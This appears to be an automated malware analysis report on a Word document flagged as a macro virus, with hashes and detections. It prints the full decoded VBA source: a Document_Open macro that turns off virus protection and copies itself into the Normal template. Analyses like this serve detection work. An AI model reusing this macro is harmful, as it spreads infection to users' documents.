Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9161b7bae6f62ab9…

MALICIOUS

Office (OLE)

109.0 KB Created: 2020-04-24 07:05:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: ccd2ae9a6d429ff084932a74b84bf94e SHA-1: a527af90e5c1f657902c256e4594a528f48a87b2 SHA-256: 9161b7bae6f62ab91437a7a182b8d32d8f16366610f0eced63b48fc94d5ac51f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to overwrite the existing macros within the document, a common technique for malware to hide its malicious code or prepare for payload execution. No specific IOCs like URLs or file paths were directly extracted from the macro's logic.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1093 bytes
SHA-256: 07cd951e274ef58528f1ff0c595006d5455b8ba90c916e0bc6935d55b92907c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity1, 0, 0, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub